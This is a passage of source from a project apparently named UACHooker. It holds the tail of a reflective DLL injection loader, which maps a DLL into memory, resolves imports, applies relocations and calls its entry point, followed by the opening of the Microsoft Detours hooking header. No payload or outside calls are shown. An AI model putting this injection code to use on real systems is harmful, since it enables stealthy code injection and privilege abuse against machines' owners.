((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); 288 | 289 | // itterate through all sections, loading them into memory. 290 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 291 | while (uiValueE--) 292 | { 293 | // uiValueB is the VA for this section 294 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); 295 | 296 | // uiValueC if the VA for this sections data 297 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); 298 | 299 | // copy the section over 300 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 301 | 302 | while (uiValueD--) 303 | *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; 304 | 305 | // get the VA of the next section 306 | uiValueA += sizeof(IMAGE_SECTION_HEADER); 307 | } 308 | 309 | // STEP 4: process our images import table... 310 | 311 | // uiValueB = the address of the import directory 312 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 313 | 314 | // we assume their is an import table to process 315 | // uiValueC is the first entry in the import table 316 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 317 | 318 | // itterate through all imports 319 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) 320 | { 321 | // use LoadLibraryA to load the imported module into memory 322 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); 323 | 324 | // uiValueD = VA of the OriginalFirstThunk 325 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); 326 | 327 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 328 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); 329 | 330 | // itterate through all imported functions, importing by ordinal if no name present 331 | while (DEREF(uiValueA)) 332 | { 333 | // sanity check uiValueD as some compilers only import by FirstThunk 334 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) 335 | { 336 | // get the VA of the modules NT Header 337 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 338 | 339 | // uiNameArray = the address of the modules export directory entry 340 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 341 | 342 | // get the VA of the export directory 343 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 344 | 345 | // get the VA for the array of addresses 346 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 347 | 348 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 349 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); 350 | 351 | // patch in the address for this imported function 352 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); 353 | } 354 | else 355 | { 356 | // get the VA of this functions import by name struct 357 | uiValueB = (uiBaseAddress + DEREF(uiValueA)); 358 | 359 | // use GetProcAddress and patch in the address for this imported function 360 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); 361 | } 362 | // get the next imported function 363 | uiValueA += sizeof(ULONG_PTR); 364 | if (uiValueD) 365 | uiValueD += sizeof(ULONG_PTR); 366 | } 367 | 368 | // get the next import 369 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); 370 | } 371 | 372 | // STEP 5: process all of our images relocations... 373 | 374 | // calculate the base address delta and perform relocations (even if we load at desired image base) 375 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 376 | 377 | // uiValueB = the address of the relocation directory 378 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 379 | 380 | // check if their are any relocations present 381 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) 382 | { 383 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 384 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 385 | 386 | // and we itterate through all entries... 387 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) 388 | { 389 | // uiValueA = the VA for this relocation block 390 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); 391 | 392 | // uiValueB = number of entries in this relocation block 393 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); 394 | 395 | // uiValueD is now the first entry in the current relocation block 396 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 397 | 398 | // we itterate through all the entries in the current block... 399 | while (uiValueB--) 400 | { 401 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 402 | // we dont use a switch statement to avoid the compiler building a jump table 403 | // which would not be very position independent! 404 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) 405 | *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 406 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) 407 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 408 | #ifdef WIN_ARM 409 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 410 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) 411 | { 412 | register DWORD dwInstruction; 413 | register DWORD dwAddress; 414 | register WORD wImm; 415 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 416 | dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); 417 | // flip the words to get the instruction as expected 418 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 419 | // sanity chack we are processing a MOV instruction... 420 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) 421 | { 422 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 423 | wImm = (WORD)(dwInstruction & 0x000000FF); 424 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 425 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 426 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 427 | // apply the relocation to the target address 428 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; 429 | // now create a new instruction with the same opcode and register param. 430 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); 431 | // patch in the relocated address... 432 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 433 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 434 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 435 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 436 | // now flip the instructions words and patch back into the code... 437 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); 438 | } 439 | } 440 | #endif 441 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) 442 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 443 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) 444 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 445 | 446 | // get the next entry in the current relocation block 447 | uiValueD += sizeof(IMAGE_RELOC); 448 | } 449 | 450 | // get the next entry in the relocation directory 451 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 452 | } 453 | } 454 | 455 | // STEP 6: call our images entry point 456 | 457 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 458 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); 459 | 460 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 461 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0); 462 | 463 | // call our respective entry point, fudging our hInstance value 464 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 465 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 466 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter); 467 | #else 468 | // if we are injecting an DLL via a stub we call DllMain with no parameter 469 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); 470 | #endif 471 | 472 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 473 | return uiValueA; 474 | } 475 | //===============================================================================================// 476 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 477 | 478 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) 479 | { 480 | BOOL bReturnValue = TRUE; 481 | switch (dwReason) 482 | { 483 | case DLL_QUERY_HMODULE: 484 | if (lpReserved != NULL) 485 | *(HMODULE*)lpReserved = hAppInstance; 486 | break; 487 | case DLL_PROCESS_ATTACH: 488 | hAppInstance = hinstDLL; 489 | break; 490 | case DLL_PROCESS_DETACH: 491 | case DLL_THREAD_ATTACH: 492 | case DLL_THREAD_DETACH: 493 | break; 494 | } 495 | return bReturnValue; 496 | } 497 | 498 | #endif 499 | //===============================================================================================// 500 | -------------------------------------------------------------------------------- /UACHookerDll/detours.h: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////////////////////////// 2 | // 3 | // Core Detours Functionality (detours.h of detours.lib) 4 | // 5 | // Microsoft Research Detours Package, Version 4.0.1 6 | // 7 | // Copyright (c) Microsoft Corporation. All rights reserved. 8 | // 9 | 10 | #pragma once 11 | #ifndef _DETOURS_H_ 12 | #define _DETOURS_H_ 13 | 14 | #define DETOURS_VERSION 0x4c0c1 // 0xMAJORcMINORcPATCH 15 | 16 | ////////////////////////////////////////////////////////////////////////////// 17 | // 18 | 19 | #undef DETOURS_X64 20 | #undef DETOURS_X86 21 | #undef DETOURS_IA64 22 | #undef DETOURS_ARM 23 | #undef DETOURS_ARM64 24 | #undef DETOURS_BITS 25 | #undef DETOURS_32BIT 26 | #undef DETOURS_64BIT 27 | 28 | #if defined(_X86_) 29 | #define DETOURS_X86 30 | #define DETOURS_OPTION_BITS 64 31 | 32 | #elif defined(_AMD64_) 33 | #define DETOURS_X64 34 | #define DETOURS_OPTION_BITS 32 35 | 36 | #elif defined(_IA64_) 37 | #define DETOURS_IA64 38 | #define DETOURS_OPTION_BITS 32 39 | 40 | #elif defined(_ARM_) 41 | #define DETOURS_ARM 42 | 43 | #elif defined(_ARM64_) 44 | #define DETOURS_ARM64 45 | 46 | #else 47 | #error Unknown architecture (x86, amd64, ia64, arm, arm64) 48 | #endif 49 | 50 | #ifdef _WIN64 51 | #undef DETOURS_32BIT 52 | #define DETOURS_64BIT 1 53 | #define DETOURS_BITS 64 54 | // If all 64bit kernels can run one and only one 32bit architecture. 55 | //#define DETOURS_OPTION_BITS 32 56 | #else 57 | #define DETOURS_32BIT 1 58 | #undef DETOURS_64BIT 59 | #define DETOURS_BITS 32 60 | // If all 64bit kernels can run one and only one 32bit architecture. 61 | //#define DETOURS_OPTION_BITS 32 62 | #endif 63 | 64 | #define VER_DETOURS_BITS DETOUR_STRINGIFY(DETOURS_BITS) 65 | 66 | ////////////////////////////////////////////////////////////////////////////// 67 | // 68 | 69 | #if (_MSC_VER < 1299) 70 | typedef LONG LONG_PTR; 71 | typedef ULONG ULONG_PTR; 72 | #endif 73 | 74 | ///////////////////////////////////////////////// SAL 2.0 Annotations w/o SAL. 75 | // 76 | // These definitions are include so that Detours will build even if the 77 | // compiler doesn't have full SAL 2.0 support. 78 | // 79 | #ifndef DETOURS_DONT_REMOVE_SAL_20 80 | 81 | #ifdef DETOURS_TEST_REMOVE_SAL_20 82 | #undef _Analysis_assume_ 83 | #undef _Benign_race_begin_ 84 | #undef _Benign_race_end_ 85 | #undef _Field_range_ 86 | #undef _Field_size_ 87 | #undef _In_ 88 | #undef _In_bytecount_ 89 | #undef _In_count_ 90 | #undef _In_opt_ 91 | #undef _In_opt_bytecount_ 92 | #undef _In_opt_count_ 93 | #undef _In_opt_z_ 94 | #undef _In_range_ 95 | #undef _In_reads_ 96 | #undef _In_reads_bytes_ 97 | #undef _In_reads_opt_ 98 | #undef _In_reads_opt_bytes_ 99 | #undef _In_reads_or_z_ 100 | #undef _In_z_ 101 | #undef _Inout_ 102 | #undef _Inout_opt_ 103 | #undef _Inout_z_count_ 104 | #undef _Out_ 105 | #undef _Out_opt_ 106 | #undef _Out_writes_ 107 | #undef _Outptr_result_maybenull_ 108 | #undef _Readable_bytes_ 109 | #undef _Success_ 110 | #undef _Writable_bytes_ 111 | #undef _Pre_notnull_ 112 | #endif 113 | 114 | #if defined(_Deref_out_opt_z_) && !defined(_Outptr_result_maybenull_) 115 | #define _Outptr_result_maybenull_ _Deref_out_opt_z_ 116 | #endif 117 | 118 | #if defined(_In_count_) && !defined(_In_reads_) 119 | #define _In_reads_(x) _In_count_(x) 120 | #endif 121 | 122 | #if defined(_In_opt_count_) && !defined(_In_reads_opt_) 123 | #define _In_reads_opt_(x) _In_opt_count_(x) 124 | #endif 125 | 126 | #if defined(_In_opt_bytecount_) && !defined(_In_reads_opt_bytes_) 127 | #define _In_reads_opt_bytes_(x) _In_opt_bytecount_(x) 128 | #endif 129 | 130 | #if defined(_In_bytecount_) && !defined(_In_reads_bytes_) 131 | #define _In_reads_bytes_(x) _In_bytecount_(x) 132 | #endif 133 | 134 | #ifndef _In_ 135 | #define _In_ 136 | #endif 137 | 138 | #ifndef _In_bytecount_ 139 | #define _In_bytecount_(x) 140 | #endif 141 | 142 | #ifndef _In_count_ 143 | #define _In_count_(x) 144 | #endif 145 | 146 | #ifndef _In_opt_ 147 | #define _In_opt_ 148 | #endif 149 | 150 | #ifndef _In_opt_bytecount_ 151 | #define _In_opt_bytecount_(x) 152 | #endif 153 | 154 | #ifndef _In_opt_count_ 155 | #define _In_opt_count_(x) 156 | #endif 157 | 158 | #ifndef _In_opt_z_ 159 | #define _In_opt_z_ 160 | #endif 161 | 162 | #ifndef _In_range_ 163 | #define _In_range_(x,y) 164 | #endif 165 | 166 | #ifndef _In_reads_ 167 | #define _In_reads_(x) 168 | #endif 169 | 170 | #ifndef _In_reads_bytes_ 171 | #define _In_reads_bytes_(x) 172 | #endif 173 | 174 | #ifndef _In_reads_opt_ 175 | #define _In_reads_opt_(x) 176 | #endif 177 | 178 | #ifndef _In_reads_opt_bytes_ 179 | #define _In_reads_opt_bytes_(x) 180 | #endif 181 | 182 | #ifndef _In_reads_or_z_ 183 | #define _In_reads_or_z_ 184 | #endif 185 | 186 | #ifndef _In_z_ 187 | #define _In_z_ 188 | #endif 189 | 190 | #ifndef _Inout_ 191 | #define _Inout_ 192 | #endif 193 | 194 | #ifndef _Inout_opt_ 195 | #define _Inout_opt_ 196 | #endif 197 | 198 | #ifndef _Inout_z_count_ 199 | #define _Inout_z_count_(x) 200 | #endif 201 | 202 | #ifndef _Out_ 203 | #define _Out_ 204 | #endif 205 | 206 | #ifndef _Out_opt_ 207 | #define _Out_opt_ 208 | #endif 209 | 210 | #ifndef _Out_writes_ 211 | #define _Out_writes_(x) 212 | #endif 213 | 214 | #ifndef _Outptr_result_maybenull_ 215 | #define _Outptr_result_maybenull_ 216 | #endif 217 | 218 | #ifndef _Writable_bytes_ 219 | #define _Writable_bytes_(x) 220 | #endif 221 | 222 | #ifndef _Readable_bytes_ 223 | #define _Readable_bytes_(x) 224 | #endif 225 | 226 | #ifndef _Success_ 227 | #define _Success_(x) 228 | #endif 229 | 230 | #ifndef _Pre_notnull_ 231 | #define _Pre_notnull_ 232 | #endif 233 | 234 | #ifdef DETOURS_INTERNAL 235 | 236 | #pragma warning(disable:4615) // unknown warning type (suppress with older compilers) 237 | 238 | #ifndef _Benign_race_begin_ 239 | #define _Benign_race_begin_ 240 | #endif 241 | 242 | #ifndef _Benign_race_end_ 243 | #define _Benign_race_end_ 244 | #endif 245 | 246 | #ifndef _Field_size_ 247 | #define _Field_size_(x) 248 | #endif 249 | 250 | #ifndef _Field_range_ 251 | #define _Field_range_(x,y) 252 | #endif 253 | 254 | #ifndef _Analysis_assume_ 255 | #define _Analysis_assume_(x) 256 | #endif 257 | 258 | #endif // DETOURS_INTERNAL 259 | #endif // DETOURS_DONT_REMOVE_SAL_20 260 | 261 | ////////////////////////////////////////////////////////////////////////////// 262 | // 263 | #ifndef GUID_DEFINED 264 | #define GUID_DEFINED 265 | typedef struct _GUID 266 | { 267 | DWORD Data1; 268 | WORD Data2; 269 | WORD Data3; 270 | BYTE Data4[ 8 ]; 271 | } GUID; 272 | 273 | #ifdef INITGUID 274 | #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ 275 | const GUID name \ 276 | = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } } 277 | #else 278 | #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \ 279 | const GUID name 280 | #endif // INITGUID 281 | #endif // !GUID_DEFINED 282 | 283 | #if defined(__cplusplus) 284 | #ifndef _REFGUID_DEFINED 285 | #define _REFGUID_DEFINED 286 | #define REFGUID const GUID & 287 | #endif // !_REFGUID_DEFINED 288 | #else // !__cplusplus 289 | #ifndef _REFGUID_DEFINED 290 | #define _REFGUID_DEFINED 291 | #define REFGUID const GUID * const 292 | #endif // !_REFGUID_DEFINED 293 | #endif // !__cplusplus 294 | 295 | #ifndef ARRAYSIZE 296 | #define ARRAYSIZE(x) (sizeof(x)/sizeof(x[0])) 297 | #endif 298 | 299 | // 300 | ////////////////////////////////////////////////////////////////////////////// 301 | 302 | #ifdef __cplusplus 303 | extern "C" { 304 | #endif // __cplusplus 305 | 306 | /////////////////////////////////////////////////// Instruction Target Macros. 307 | // 308 | #define DETOUR_INSTRUCTION_TARGET_NONE ((PVOID)0) 309 | #define DETOUR_INSTRUCTION_TARGET_DYNAMIC ((PVOID)(LONG_PTR)-1) 310 | #define DETOUR_SECTION_HEADER_SIGNATURE 0x00727444 // "Dtr\0" 311 | 312 | extern const GUID DETOUR_EXE_RESTORE_GUID; 313 | extern const GUID DETOUR_EXE_HELPER_GUID; 314 | 315 | #define DETOUR_TRAMPOLINE_SIGNATURE 0x21727444 // Dtr! 316 | typedef struct _DETOUR_TRAMPOLINE DETOUR_TRAMPOLINE, *PDETOUR_TRAMPOLINE; 317 | 318 | /////////////////////////////////////////////////////////// Binary Structures. 319 | // 320 | #pragma pack(push, 8) 321 | typedef struct _DETOUR_SECTION_HEADER 322 | { 323 | DWORD cbHeaderSize; 324 | DWORD nSignature; 325 | DWORD nDataOffset; 326 | DWORD cbDataSize; 327 | 328 | DWORD nOriginalImportVirtualAddress; 329 | DWORD nOriginalImportSize; 330 | DWORD nOriginalBoundImportVirtualAddress; 331 | DWORD nOriginalBoundImportSize; 332 | 333 | DWORD nOriginalIatVirtualAddress; 334 | DWORD nOriginalIatSize; 335 | DWORD nOriginalSizeOfImage; 336 | DWORD cbPrePE; 337 | 338 | DWORD nOriginalClrFlags; 339 | DWORD reserved1; 340 | DWORD reserved2; 341 | DWORD reserved3; 342 | 343 | // Followed by cbPrePE bytes of data. 344 | } DETOUR_SECTION_HEADER, *PDETOUR_SECTION_HEADER; 345 | 346 | typedef struct _DETOUR_SECTION_RECORD 347 | { 348 | DWORD cbBytes; 349 | DWORD nReserved; 350 | GUID guid; 351 | } DETOUR_SECTION_RECORD, *PDETOUR_SECTION_RECORD; 352 | 353 | typedef struct _DETOUR_CLR_HEADER 354 | { 355 | // Header versioning 356 | ULONG cb; 357 | USHORT MajorRuntimeVersion; 358 | USHORT MinorRuntimeVersion; 359 | 360 | // Symbol table and startup information 361 | IMAGE_DATA_DIRECTORY MetaData; 362 | ULONG Flags; 363 | 364 | // Followed by the rest of the IMAGE_COR20_HEADER 365 | } DETOUR_CLR_HEADER, *PDETOUR_CLR_HEADER; 366 | 367 | typedef struct _DETOUR_EXE_RESTORE 368 | { 369 | DWORD cb; 370 | DWORD cbidh; 371 | DWORD cbinh; 372 | DWORD cbclr; 373 | 374 | PBYTE pidh; 375 | PBYTE pinh; 376 | PBYTE pclr; 377 | 378 | IMAGE_DOS_HEADER idh; 379 | union { 380 | IMAGE_NT_HEADERS inh; 381 | IMAGE_NT_HEADERS32 inh32; 382 | IMAGE_NT_HEADERS64 inh64; 383 | BYTE raw[sizeof(IMAGE_NT_HEADERS64) + 384 | sizeof(IMAGE_SECTION_HEADER) * 32]; 385 | }; 386 | DETOUR_CLR_HEADER clr; 387 | 388 | } DETOUR_EXE_RESTORE, *PDETOUR_EXE_RESTORE; 389 | 390 | typedef struct _DETOUR_EXE_HELPER 391 | { 392 | DWORD cb; 393 | DWORD pid; 394 | DWORD nDlls; 395 | CHAR rDlls[4]; 396 | } DETOUR_EXE_HELPER, *PDETOUR_EXE_HELPER; 397 | 398 | #pragma pack(pop) 399 | 400 | #define DETOUR_SECTION_HEADER_DECLARE(cbSectionSize) \ 401 | { \ 402 | sizeof(DETOUR_SECTION_HEADER),\ 403 | DETOUR_SECTION_HEADER_SIGNATURE,\ 404 | sizeof(DETOUR_SECTION_HEADER),\ 405 | (cbSectionSize),\ 406 | \ 407 | 0,\ 408 | 0,\ 409 | 0,\ 410 | 0,\ 411 | \ 412 | 0,\ 413 | 0,\ 414 | 0,\ 415 | 0,\ 416 | } 417 | 418 | /////////////////////////////////////////////////////////////// Helper Macros. 419 | // 420 | #define DETOURS_STRINGIFY(x) DETOURS_STRINGIFY_(x) 421 | #define DETOURS_STRINGIFY_(x) #x 422 | 423 | ///////////////////////////////////////////////////////////// Binary Typedefs. 424 | // 425 | typedef BOOL (CALLBACK *PF_DETOUR_BINARY_BYWAY_CALLBACK)( 426 | _In_opt_ PVOID pContext, 427 | _In_opt_ LPCSTR pszFile, 428 | _Outptr_result_maybenull_ LPCSTR *ppszOutFile); 429 | 430 | typedef BOOL (CALLBACK *PF_DETOUR_BINARY_FILE_CALLBACK)( 431 | _In_opt_ PVOID pContext, 432 | _In_ LPCSTR pszOrigFile, 433 | _In_ LPCSTR pszFile, 434 | _Outptr_result_maybenull_ LPCSTR *ppszOutFile); 435 | 436 | typedef BOOL (CALLBACK *PF_DETOUR_BINARY_SYMBOL_CALLBACK)( 437 | _In_opt_ PVOID pContext, 438 | _In_ ULONG nOrigOrdinal, 439 | _In_ ULONG nOrdinal, 440 | _Out_ ULONG *pnOutOrdinal, 441 | _In_opt_ LPCSTR pszOrigSymbol, 442 | _In_opt_ LPCSTR pszSymbol, 443 | _Outptr_result_maybenull_ LPCSTR *ppszOutSymbol); 444 | 445 | typedef BOOL (CALLBACK *PF_DETOUR_BINARY_COMMIT_CALLBACK)( 446 | _In_opt_ PVOID pContext); 447 | 448 | typedef BOOL (CALLBACK *PF_DETOUR_ENUMERATE_EXPORT_CALLBACK)(_In_opt_ PVOID pContext, 449 | _In_ ULONG nOrdinal, 450 | _In_opt_ LPCSTR pszName, 451 | _In_opt_ PVOID pCode); 452 | 453 | typedef BOOL (CALLBACK *PF_DETOUR_IMPORT_FILE_CALLBACK)(_In_opt_ PVOID pContext, 454 | _In_opt_ HMODULE hModule, 455 | _In_opt_ LPCSTR pszFile); 456 | 457 | typedef BOOL (CALLBACK *PF_DETOUR_IMPORT_FUNC_CALLBACK)(_In_opt_ PVOID pContext, 458 | _In_ DWORD nOrdinal, 459 | _In_opt_ LPCSTR pszFunc, 460 | _In_opt_ PVOID pvFunc); 461 | 462 | // Same as PF_DETOUR_IMPORT_FUNC_CALLBACK but extra indirection on last parameter. 463 | typedef BOOL (CALLBACK *PF_DETOUR_IMPORT_FUNC_CALLBACK_EX)(_In_opt_ PVOID pContext, 464 | _In_ DWORD nOrdinal, 465 | _In_opt_ LPCSTR pszFunc, 466 | _In_opt_ PVOID* ppvFunc); 467 | 468 | typedef VOID * PDETOUR_BINARY; 469 | typedef VOID * PDETOUR_LOADED_BINARY; 470 | 471 | //////////////////////////////////////////////////////////// Transaction APIs. 472 | // 473 | LONG WINAPI DetourTransactionBegin(VOID); 474 | LONG WINAPI DetourTransactionAbort(VOID); 475 | LONG WINAPI DetourTransactionCommit(VOID); 476 | LONG WINAPI DetourTransactionCommitEx(_Out_opt_ PVOID **pppFailedPointer); 477 | 478 | LONG WINAPI DetourUpdateThread(_In_ HANDLE hThread); 479 | 480 | LONG WINAPI DetourAttach(_Inout_ PVOID *ppPointer, 481 | _In_ PVOID pDetour); 482 | 483 | LONG WINAPI DetourAttachEx(_Inout_ PVOID *ppPointer, 484 | _In_ PVOID pDetour, 485 | _Out_opt_ PDETOUR_TRAMPOLINE *ppRealTrampoline, 486 | _Out_opt_ PVOID *ppRealTarget, 487 | _Out_opt_ PVOID *ppRealDetour); 488 | 489 | LONG WINAPI DetourDetach(_Inout_ PVOID *ppPointer, 490 | _In_ PVOID pDetour); 491 | 492 | BOOL WINAPI DetourSetIgnoreTooSmall(_In_ BOOL fIgnore); 493 | BOOL WINAPI DetourSetRetainRegions(_In_ BOOL fRetain); 494 | PVOID WINAPI DetourSetSystemRegionLowerBound(_In_ PVOID pSystemRegionLowerBound); 495 | PVOID WINAPI DetourSetSystemRegionUpperBound(_In_ PVOID pSystemRegionUpperBound); 496 | 497 | ////////////////////////////////////////////////////////////// Code Functions. 498 | // 499 | PVOID WINAPI DetourFindFunction(_In_ LPCSTR pszModule, 500 | _In_ LPCSTR pszFunction); 501 | PVOID WINAPI DetourCodeFromPointer(_In_ PVOID pPointer, 502 | _Out_opt_ PVOID *ppGlobals); 503 | PVOID WINAPI DetourCopyInstruction(_In_opt_ PVOID pDst, 504 | _Inout_opt_ PVOID *ppDstPool, 505 | _In_ PVOID pSrc, 506 | _Out_opt_ PVOID *ppTarget, 507 | _Out_opt_ LONG *plExtra); 508 | BOOL WINAPI DetourSetCodeModule(_In_ HMODULE hModule, 509 | _In_ BOOL fLimitReferencesToModule); 510 | 511 | ///////////////////////////////////////////////////// Loaded Binary Functions. 512 | // 513 | HMODULE WINAPI DetourGetContainingModule(_In_ PVOID pvAddr); 514 | HMODULE WINAPI DetourEnumerateModules(_In_opt_ HMODULE hModuleLast); 515 | PVOID WINAPI DetourGetEntryPoint(_In_opt_ HMODULE hModule); 516 | ULONG WINAPI DetourGetModuleSize(_In_opt_ HMODULE hModule); 517 | BOOL WINAPI DetourEnumerateExports(_In_ HMODULE hModule, 518 | _In_opt_ PVOID pContext, 519 | _In_ PF_DETOUR_ENUMERATE_EXPORT_CALLBACK pfExport); 520 | BOOL WINAPI DetourEnumerateImports(_In_opt_ HMODULE hModule, 521 | _In_opt_ PVOID pContext, 522 | _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile, 523 | _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK pfImportFunc); 524 | 525 | BOOL WINAPI DetourEnumerateImportsEx(_In_opt_ HMODULE hModule, 526 | _In_opt_ PVOID pContext, 527 | _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile, 528 | _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK_EX pfImportFuncEx); 529 | 530 | _Writable_bytes_(*pcbData) 531 | _Readable_bytes_(*pcbData) 532 | _Success_(return != NULL) 533 | PVOID WINAPI DetourFindPayload(_In_opt_ HMODULE hModule, 534 | _In_ REFGUID rguid, 535 | _Out_ DWORD *pcbData); 536 | 537 | _Writable_bytes_(*pcbData) 538 | _Readable_bytes_(*pcbData) 539 | _Success_(return != NULL) 540 | PVOID WINAPI DetourFindPayloadEx(_In_ REFGUID rguid, 541 | _Out_ DWORD * pcbData); 542 | 543 | DWORD WINAPI DetourGetSizeOfPayloads(_In_opt_ HMODULE hModule); 544 | 545 | ///////////////////////////////////////////////// Persistent Binary Functions. 546 | // 547 | 548 | PDETOUR_BINARY WINAPI DetourBinaryOpen(_In_ HANDLE hFile); 549 | 550 | _Writable_bytes_(*pcbData) 551 | _Readable_bytes_(*pcbData) 552 | _Success_(return != NULL) 553 | PVOID WINAPI DetourBinaryEnumeratePayloads(_In_ PDETOUR_BINARY pBinary, 554 | _Out_opt_ GUID *pGuid, 555 | _Out_ DWORD *pcbData, 556 | _Inout_ DWORD *pnIterator); 557 | 558 | _Writable_bytes_(*pcbData) 559 | _Readable_bytes_(*pcbData) 560 | _Success_(return != NULL) 561 | 